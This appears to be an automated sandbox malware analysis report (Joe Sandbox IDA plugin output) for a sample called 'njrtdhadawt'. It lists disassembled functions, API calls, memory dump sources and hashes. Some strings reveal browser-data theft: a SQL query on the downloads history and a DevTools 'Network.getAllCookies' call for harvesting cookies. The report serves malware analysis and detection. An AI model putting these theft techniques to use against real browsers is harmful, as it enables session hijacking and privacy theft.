Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: F(t$DISPLAY
API String ID: 1843228801-2132287661
Opcode ID: 4c39be577c221ec9fddfa585cda26cc875742aa1ff2891beb2f176d601def597
Instruction ID: a9c1e289ba310bcc7ae033ce36d873301eb75de843453cd1c755ae13a6626349
Opcode Fuzzy Hash: 4c39be577c221ec9fddfa585cda26cc875742aa1ff2891beb2f176d601def597
Instruction Fuzzy Hash: 5FD012353803027BE2316751BC0EF1A2964E7C6F02F100004F3415C0C846991002A736

Function 00FE933E Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

lstrlenA.KERNEL32(?), ref: 00FE9542
lstrlenA.KERNEL32(?), ref: 00FE955D

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Strings

Downloads, xrefs: 00FE93BF
SELECT target_path, tab_url from downloads, xrefs: 00FE9450
Downloads, xrefs: 00FE9368

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: 8ac920029d51e7dc86e55d5e51a43e758091008456b9d60f8d07d71d33aa9a03
Instruction ID: 56cddf514ce65a35d4d70ac7164710e3509caea76e9b21dcd200a137c4b40710
Opcode Fuzzy Hash: 8ac920029d51e7dc86e55d5e51a43e758091008456b9d60f8d07d71d33aa9a03
Instruction Fuzzy Hash: 9D71943290015D9BCF40FBA6ED469EEB774AF04301F514421FA40B7167DBA9BE06ABD1

Function 00FFB6A3 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00FFB6F0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00FFB728

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: 8538438f05f2e9478205bf5f8fb445276d03594f4ea3e3c6ca57ff7336677cb2
Instruction ID: f784cbae72bafc9ff297ee67c11efb88f35a22f2f2585886b9e0d0ea201a2cce
Opcode Fuzzy Hash: 8538438f05f2e9478205bf5f8fb445276d03594f4ea3e3c6ca57ff7336677cb2
Instruction Fuzzy Hash: A23165B2904709DFDB30AF25C8C4B33BAD8AF54364F20CA2EF29782564D3349884AF51

Function 010051B3 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 010051C1
_free.LIBCMT ref: 010051D4

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 1c4ceae8a281b9ab8b8c98597a2d4b677e3591a01e25c8b0aef1b8a59b9b1d5c
Instruction ID: 6135a356b6e957794914aa7754bd45eb768d19a79e57f3ce439a56865ebcac75
Opcode Fuzzy Hash: 1c4ceae8a281b9ab8b8c98597a2d4b677e3591a01e25c8b0aef1b8a59b9b1d5c
Instruction Fuzzy Hash: 4A11A332944616ABFF336B78BC0469D3BD5BF4A2A1F108565F9C99A1D0EA36D8408F90

Function 00FF2331 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00FE83BD,10000000,00000000,?,00FE83BD,00000000), ref: 00FF233C
lstrcpynA.KERNEL32(012C9310,?,00000000,00000104), ref: 00FF2355
lstrlenA.KERNEL32(?), ref: 00FF2367
wsprintfA.USER32 ref: 00FF2379

Strings

%s%s, xrefs: 00FF2373

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 3d856f0f5595172b902f3b01100ec24e23d484d9a360b024e53bdfe694c7f7d4
Instruction ID: 25008e64546b2db696c54182336ccdc3fd247392a14f40cb241facf1315fbcd1
Opcode Fuzzy Hash: 3d856f0f5595172b902f3b01100ec24e23d484d9a360b024e53bdfe694c7f7d4
Instruction Fuzzy Hash: EBF0E932100119BFDB111F59EC4CDA7BF6DEF456A5B044125FA08D7210C7B55D109BE5

Function 010061B9 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 010061C5

Part of subcall function 010043F4: __getptd_noexit.LIBCMT ref: 010043F7
Part of subcall function 010043F4: __amsg_exit.LIBCMT ref: 01004404

__getptd.LIBCMT ref: 010061DC
__amsg_exit.LIBCMT ref: 010061EA
__lock.LIBCMT ref: 010061FA
__updatetlocinfoEx_nolock.LIBCMT ref: 0100620E

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 20afbc787947e098c55e0a3da01cb6fac01daa894a82a16a12d84bb412ca98f3
Instruction ID: a9cb5baec734e5904e95e0c990247f090b9a3b9a81cb1704371058d6a4c2edc8
Opcode Fuzzy Hash: 20afbc787947e098c55e0a3da01cb6fac01daa894a82a16a12d84bb412ca98f3
Instruction Fuzzy Hash: 83F02432E403019BFB63FB7C98027DE37E1AF10760F084269E1C0AB1D2CB3A9550EA49

Function 6CD1F360 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 449COMMON

Download Yara Rule

APIs

Part of subcall function 6CD4C710: setsockopt.WS2_32(?,00000006,00000001,00000004,00000004), ref: 6CD4C72F
Part of subcall function 6CD4C710: WSAGetLastError.WS2_32(?,00000004,00000020), ref: 6CD4C73C

closesocket.WS2_32(?), ref: 6CD1F76A
closesocket.WS2_32(?), ref: 6CD1F7A8
closesocket.WS2_32(?), ref: 6CD1FA6C

Strings

a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6CD1FA3D

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: closesocket$ErrorLastsetsockopt
String ID: a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs
API String ID: 1009131482-2006489008
Opcode ID: 0ee9b299cefcb8493263cfd39cb6f46757614c9ad5f37ae57804e45480dd1372
Instruction ID: 204985034664a66bdd3696711f6c6de2ae3b94e7d2b9d3303036901813d22851
Opcode Fuzzy Hash: 0ee9b299cefcb8493263cfd39cb6f46757614c9ad5f37ae57804e45480dd1372
Instruction Fuzzy Hash: D82256B1504B41DBE320CF25D885B97BBF5BB08318F008A1DD9AA87BA1E775F548CB91

Function 6CD4D76F Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

stack backtrace:, xrefs: 6CD4DB97

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID:
String ID: stack backtrace:
API String ID: 0-2306486365
Opcode ID: 4a686de6e333f371c9feaeecd7442eab6c097d6686ad7879b95d50e6ec828b68
Instruction ID: 766eb078a367cab0f712caf79b380d3e786a79df39e9059eb0484a49c68e11d1
Opcode Fuzzy Hash: 4a686de6e333f371c9feaeecd7442eab6c097d6686ad7879b95d50e6ec828b68
Instruction Fuzzy Hash: F6F18E75C05B88CFDB22CFB4C8407DABBF0AF1A304F04869ED999AB652D734A545CB61

Function 6CD11F30 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 307COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 6CD11F7E
closesocket.WS2_32(?), ref: 6CD121B9
closesocket.WS2_32(?), ref: 6CD122D9

Part of subcall function 6CD1AC00: HeapFree.KERNEL32(00000000,0000000C), ref: 6CD4EBD8

Strings

{"id": 1, "method": "Network.getAllCookies"}Failed to convert result to CStringmy_library\src\lib.rs, xrefs: 6CD1209C

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: closesocket$FreeHeap_strlen
String ID: {"id": 1, "method": "Network.getAllCookies"}Failed to convert result to CStringmy_library\src\lib.rs
API String ID: 4163113487-637580131
Opcode ID: f0b1e58b948f7a91dd5c14b9c6fd501c7ebc61dba063095fe29564f311222089
Instruction ID: a6de652ff7276c7308fb0cf98c8de5664c6ffedbd627dd4ca1444adbc8993653
Opcode Fuzzy Hash: f0b1e58b948f7a91dd5c14b9c6fd501c7ebc61dba063095fe29564f311222089
Instruction Fuzzy Hash: 70C157B5404B009BD3A0DF25E988B97B7F8FB15318F404A1DE99B86E61EB71F548CB60

Function 6CD4D6CD Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

stack backtrace:, xrefs: 6CD4DB97

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID:
String ID: stack backtrace:
API String ID: 0-2306486365
Opcode ID: d006c33414565a74846b04d5927f98f8d3d1f13a967c69174ace62e99600ea29
Instruction ID: 86c9488173e91c71272bc3eca8db2c70acb5973b663c9123f7626ff4a459bc11
Opcode Fuzzy Hash: d006c33414565a74846b04d5927f98f8d3d1f13a967c69174ace62e99600ea29
Instruction Fuzzy Hash: CB919DB5904B848FD722CF64C840B96BBF4AF0A314F048A5ED9DA9BB61D734F509CB61

Function 00FF029A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FF02BD

Part of subcall function 0100E698: std::exception::exception.LIBCMT ref: 0100E6AD
Part of subcall function 0100E698: __CxxThrowException@8.LIBCMT ref: 0100E6C2
Part of subcall function 0100E698: std::exception::exception.LIBCMT ref: 0100E6D3

__EH_prolog3_catch.LIBCMT ref: 00FF035C
std::_Xinvalid_argument.LIBCPMT ref: 00FF0370

Strings

vector<T> too long, xrefs: 00FF02B8, 00FF036B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: 1c8215a9adfc3c6fc3c72087bc37694c2846789dcb774c4329d76625077cd668
Instruction ID: b13bf673e94d98fb261d5e16a308920d014035c55ade8fb6bc019192f6b051e7
Opcode Fuzzy Hash: 1c8215a9adfc3c6fc3c72087bc37694c2846789dcb774c4329d76625077cd668
Instruction Fuzzy Hash: D931C536E502199FDB24EF68E8496BD77A5AB04714F14202EF700E72D6DB749D80DB90

Function 00FF6FA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00FF6FAA
lstrlenA.KERNEL32(?,0000001C), ref: 00FF6FB5
StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF7039

Strings

ERROR, xrefs: 00FF7031

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
